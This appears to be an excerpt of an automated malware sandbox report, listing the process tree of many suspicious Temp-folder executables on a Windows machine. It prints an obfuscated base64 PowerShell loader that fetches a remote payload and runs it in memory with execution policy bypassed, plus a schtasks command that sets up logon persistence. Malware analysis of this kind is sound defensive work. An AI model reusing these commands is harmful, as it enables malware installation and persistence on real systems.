        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessEdge11960240873921 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessEdge11960240873921\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x258,0x25c,0x260,0x254,0x268,0x7ffae440c188,0x7ffae440c194,0x7ffae440c1a0
        6⤵
        
        PID:12500
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2508,i,11889781606117741830,5860309544227935885,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2740 /prefetch:11
        6⤵
        System Time Discovery
        
        PID:12320
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --headless=new --noerrdialogs --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --field-trial-handle=2508,i,11889781606117741830,5860309544227935885,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2496 /prefetch:2
        6⤵
        
        PID:12480
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2508,i,11889781606117741830,5860309544227935885,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2748 /prefetch:13
        6⤵
        
        PID:12472
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2508,i,11889781606117741830,5860309544227935885,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3576 /prefetch:1
        6⤵
        
        PID:10320
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=2508,i,11889781606117741830,5860309544227935885,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3588 /prefetch:1
        6⤵
        
        PID:10652
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --field-trial-handle=2508,i,11889781606117741830,5860309544227935885,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4040 /prefetch:9
        6⤵
        
        PID:3356
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --field-trial-handle=2508,i,11889781606117741830,5860309544227935885,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4044 /prefetch:1
        6⤵
        
        PID:7528
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=2508,i,11889781606117741830,5860309544227935885,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3956 /prefetch:1
        6⤵
        
        PID:9256
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --field-trial-handle=2508,i,11889781606117741830,5860309544227935885,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3984 /prefetch:9
        6⤵
        
        PID:3144
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --field-trial-handle=2508,i,11889781606117741830,5860309544227935885,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4296 /prefetch:1
        6⤵
        
        PID:9252
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --field-trial-handle=2508,i,11889781606117741830,5860309544227935885,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4416 /prefetch:9
        6⤵
        
        PID:11184
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --field-trial-handle=2508,i,11889781606117741830,5860309544227935885,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4412 /prefetch:1
        6⤵
        
        PID:6800
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --field-trial-handle=2508,i,11889781606117741830,5860309544227935885,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4588 /prefetch:9
        6⤵
        
        PID:8284
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --always-read-main-dll --field-trial-handle=2508,i,11889781606117741830,5860309544227935885,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4136 /prefetch:9
        6⤵
        
        PID:11092
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --always-read-main-dll --field-trial-handle=2508,i,11889781606117741830,5860309544227935885,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4912 /prefetch:9
        6⤵
        
        PID:2924
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --always-read-main-dll --field-trial-handle=2508,i,11889781606117741830,5860309544227935885,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=5024 /prefetch:9
        6⤵
        
        PID:8468
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --always-read-main-dll --field-trial-handle=2508,i,11889781606117741830,5860309544227935885,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=5068 /prefetch:9
        6⤵
        
        PID:3948
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --always-read-main-dll --field-trial-handle=2508,i,11889781606117741830,5860309544227935885,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4884 /prefetch:9
        6⤵
        
        PID:6280
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --always-read-main-dll --field-trial-handle=2508,i,11889781606117741830,5860309544227935885,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=5504 /prefetch:1
        6⤵
        
        PID:11356
- - C:\Users\Admin\AppData\Local\Temp\a\byk4d5tg4nyo.exe
    byk4d5tg4nyo.exe
    3⤵
    PID:8080
- - C:\Users\Admin\AppData\Local\Temp\a\bot_x64.exe
    bot_x64.exe
    3⤵
    PID:11040
- - C:\Users\Admin\AppData\Local\Temp\a\wrm.exe
    wrm.exe
    3⤵
    PID:11052
  - - C:\Users\Admin\AppData\Local\Temp\a\wrm.exe
      wrm.exe
      4⤵
      PID:11188
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        5⤵
        Executes a command shell one-liner
        
        PID:10404
- - C:\Users\Admin\AppData\Local\Temp\a\5fzscnissh1s.exe
    5fzscnissh1s.exe
    3⤵
    PID:7072
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --log-level=3 --headless=new
      4⤵
      PID:11200
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome11200240872500 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome11200240872500\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome11200240872500 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffafc0ec728,0x7ffafc0ec734,0x7ffafc0ec740
        5⤵
        
        PID:12284
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome11200240872500" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2380,i,4807194636402740774,6433156862170104679,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2372 /prefetch:2
        5⤵
        
        PID:10800
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome11200240872500" --force-high-res-timeticks=disabled --field-trial-handle=2380,i,4807194636402740774,6433156862170104679,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2428 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:8872
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome11200240872500" --force-high-res-timeticks=disabled --field-trial-handle=2380,i,4807194636402740774,6433156862170104679,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2732 /prefetch:13
        5⤵
        
        PID:12008
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome11200240872500" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=2380,i,4807194636402740774,6433156862170104679,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3264 /prefetch:1
        5⤵
        
        PID:2004
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome11200240872500" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=2380,i,4807194636402740774,6433156862170104679,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3300 /prefetch:1
        5⤵
        
        PID:1036
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome11200240872500" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=2380,i,4807194636402740774,6433156862170104679,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4124 /prefetch:9
        5⤵
        
        PID:8232
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome11200240872500" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=2380,i,4807194636402740774,6433156862170104679,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4132 /prefetch:9
        5⤵
        
        PID:6476
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome11200240872500" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=2380,i,4807194636402740774,6433156862170104679,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4072 /prefetch:1
        5⤵
        
        PID:8312
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome11200240872500" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=2380,i,4807194636402740774,6433156862170104679,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4512 /prefetch:9
        5⤵
        
        PID:6168
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-first-run --log-level=3 --headless=new
      4⤵
      PID:8628
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessEdge8628240882328 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessEdge8628240882328\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x258,0x25c,0x260,0x254,0x320,0x7ffae440c188,0x7ffae440c194,0x7ffae440c1a0
        5⤵
        
        PID:5048
- - C:\Users\Admin\AppData\Local\Temp\a\klr.exe
    klr.exe
    3⤵
    PID:10784
- - C:\Users\Admin\AppData\Local\Temp\a\file_3dfa6b71eb1f52a6.exe
    file_3dfa6b71eb1f52a6.exe
    3⤵
    PID:8184
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i Zoom.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:9432
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -File file_7abbb1cadc4625ad.ps1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:9852
- - C:\Users\Admin\AppData\Local\Temp\a\file_ac12f1da1bdab1e0.exe
    file_ac12f1da1bdab1e0.exe
    3⤵
    PID:10368
- - C:\Users\Admin\AppData\Local\Temp\a\file_b82f2dba4422534f.exe
    file_b82f2dba4422534f.exe
    3⤵
    PID:3444
- - C:\Users\Admin\AppData\Local\Temp\a\file_a8b257b458693ac9.exe
    file_a8b257b458693ac9.exe
    3⤵
    PID:11192
  - - C:\Windows\System32\notepad.exe
      "C:\Windows\System32\notepad.exe"
      4⤵
      PID:7236
- - C:\Users\Admin\AppData\Local\Temp\a\1.exe
    1.exe
    3⤵
    PID:10036
- - C:\Users\Admin\AppData\Local\Temp\a\support.client.exe
    support.client.exe
    3⤵
    PID:8080
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"
      4⤵
      PID:7296
- - C:\Users\Admin\AppData\Local\Temp\a\JavaChecker.exe
    JavaChecker.exe
    3⤵
    PID:10968
- - C:\Users\Admin\AppData\Local\Temp\a\RoxanneIQ6.exe
    RoxanneIQ6.exe
    3⤵
    PID:1116
- - C:\Users\Admin\AppData\Local\Temp\a\DragonBalls76Ace.exe
    DragonBalls76Ace.exe
    3⤵
    PID:10716
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i vmware-setup.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:11884
- - C:\Windows\SYSTEM32\wscript.exe
    wscript.exe System4.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:12292
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $Wzt = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOyRwcW1qb2EgPSঔৣ⇜naHR0cHM6Ly9maXJlYmFzZXN0b3JhZ2UuZ29vZ2xlYXBpcy5jb20vdjঔৣ⇜vYi9yb2RyaWFrZC04NDEzZC5hcHBzcG90LmNvbS9vL2RsbCUyRk1TQnVpbGQudHh0P2FsdD1tZWRpYSZ0b2tlbj05ODRlZTkyMS0xNjQ3LTRmZDYtYTRkZi1lZjNlOWZlYTkyN2InIDskUHhQeXQgPSঔৣ⇜oICdDOlxQcm9ncmFtRGF0YVwnICsgJ2RTdnduLnR4dCcpOyR3ZWJDbGllbnQuSGVhZGVycy5BZGQoJ1VzZXItQWdlbnQnLCঔৣ⇜nTW96aWxsYS81Ljঔৣ⇜gKFdpbmRvd3MgTlQgMTঔৣ⇜uMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgTGlrZSBHZWNrbykgQ2hyb21lLzEyMC4wLjঔৣ⇜uMCBTYWZhcmkvNTM3LjM2IEVkZy8xMjঔৣ⇜uMC4wLjঔৣ⇜nKTskcFRnZGcgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50IDskSGNYQnMgPSঔৣ⇜kcFRnZGcuRG93bmxvYWRTdHJpbmcoICRwcW1qb2EgKSঔৣ⇜7JEhjWEJzIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRQeFB5dCঔৣ⇜tRW5jb2RpbmcgJ1VURjgnIC1mb3JjZSঔৣ⇜7JFd4TkN6ID0gKCঔৣ⇜nQzpcUHJvZ3JhbURhdGFcJyঔৣ⇜rICdkU3Z3bi50eHQnKSঔৣ⇜7JFpKYnNVWCঔৣ⇜9ICdMb2FkJyঔৣ⇜7JFpTRFlHID0gJ0ludm9rZSc7JHlObFVPID0gJG51bGw7JFlXRkliID0gJyR0eEllTiঔৣ⇜9ICcndHh0LmZhbm1vZ24vbmlhbS9zZGFlaC9zZmVyL3NvdmloY3JhLXNpbS9ncGotNjI2MjYycmVsZ25lcHMvbW9jLnRuZXRub2NyZXN1YnVodGlnLndhci8vOicnICsgJydzcHQnJyঔৣ⇜rICcndGgnJyঔৣ⇜7Jyঔৣ⇜7JFlXRkliICs9ICc7JHggPSঔৣ⇜oJydDOlxQcm9ncmFtRGF0YVxkU3Z3bi50eHQnJyk7JE9nbWVnYyঔৣ⇜9IChHZXQtQ29udGVudCঔৣ⇜tUGF0aCঔৣ⇜keCঔৣ⇜tRW5jb2RpbmcgVVRGOCk7JE9nbWVnYyঔৣ⇜9ICRPZ21lZ2MucmVwbGFjZSgnJz09PT09PT09PScnLCঔৣ⇜nJ0EnJyk7Jyঔৣ⇜7JFlXRkliICs9ICdbQnl0ZVtdXSঔৣ⇜kVkxtUGUgPSBbc3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCঔৣ⇜kT2dtZWdjICkgOycgOyRZV0ZJYiঔৣ⇜rPSঔৣ⇜nW1N5c3RlbS5BcHBEb21haW5dOicgKyঔৣ⇜nOkN1cnJlbnREb21haW4uJyঔৣ⇜rICRaSmJzVVggKyঔৣ⇜nKCঔৣ⇜kVkxtUGUgKS4nIDskWVdGSWIgKz0gJ0dldFR5cGUoICcnRmpyRC5HcWdhJycgKS5HZXRNZXQnIDskWVdGSWIgKz0gJ2hvZCggJydOUkpPTVMnJyঔৣ⇜pLicgKyঔৣ⇜kWlNEWUcgKyঔৣ⇜nKCঔৣ⇜keU5sVU8gLCBbb2JqZWN0W11dICggKCঔৣ⇜kdHhJZU4gKSঔৣ⇜sICcnJXVqSkRkVSUnJyঔৣ⇜sICcnT0V6VEpDJycsICcnMDMnJywgJycxJycsICcnY2FjYScnICঔৣ⇜pICkgOycgOyRXRU1FUyঔৣ⇜9ICggJ0M6XFByb2dyYW1EYXRhXCcgKyঔৣ⇜nRHZWYnMucHMxJyঔৣ⇜pIDskWVdGSWIgfCBPdXQtRmlsZSঔৣ⇜tRmlsZVBhdGggJFdFTUVTICঔৣ⇜tZm9yY2UgO3Bvd2Vyc2hlbGwgLUV4ZWN1dGlvblBvbGljeSBCeXBhc3MgLUZpbGUgJFdFTUVTIDs=';$jXaFy = [system.Text.Encoding]::UTF8.GetString( [system.Convert]::FromBase64String( ($Wzt -replace 'ঔৣ⇜','A') ) );$jXaFy = ($jXaFy -replace '%ujJDdU%', 'C:&Users&Admin&AppData&Local&Temp&a&System4.vbs');$WxNCz = ( 'C:\ProgramData\' + 'Vy.ps1') ;$jXaFy | Out-File -FilePath $WxNCz -force ;;powershell -ExecutionPolicy Bypass -File $WxNCz;
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:9200
- - C:\Users\Admin\AppData\Local\Temp\a\ThornFlash3Client.exe
    ThornFlash3Client.exe
    3⤵
    PID:8412
- - C:\Users\Admin\AppData\Local\Temp\a\file_37b904483beaa60e.exe
    file_37b904483beaa60e.exe
    3⤵
    PID:12256
- - C:\Users\Admin\AppData\Local\Temp\a\kononiaZClient.exe
    kononiaZClient.exe
    3⤵
    PID:12936
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i ZoomInstaller.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:10824
- - C:\Users\Admin\AppData\Local\Temp\a\Client.exe
    Client.exe
    3⤵
    PID:8664
- - C:\Users\Admin\AppData\Local\Temp\a\EagleJetClient4.exe
    EagleJetClient4.exe
    3⤵
    PID:1140
- C:\Windows\SysWOW64\chkdsk.exe
  "C:\Windows\SysWOW64\chkdsk.exe"
  2⤵
  PID:6688

C:\Users\Admin\AppData\Local\Temp\2to1ep.exe
"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"
1⤵
PID:5760
- C:\Users\Admin\AppData\Local\Temp\2to1ep.exe
  "C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"
  2⤵
  PID:3456
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F"
    3⤵
    - Executes a command shell one-liner
    PID:1356
  - - C:\Windows\system32\schtasks.exe
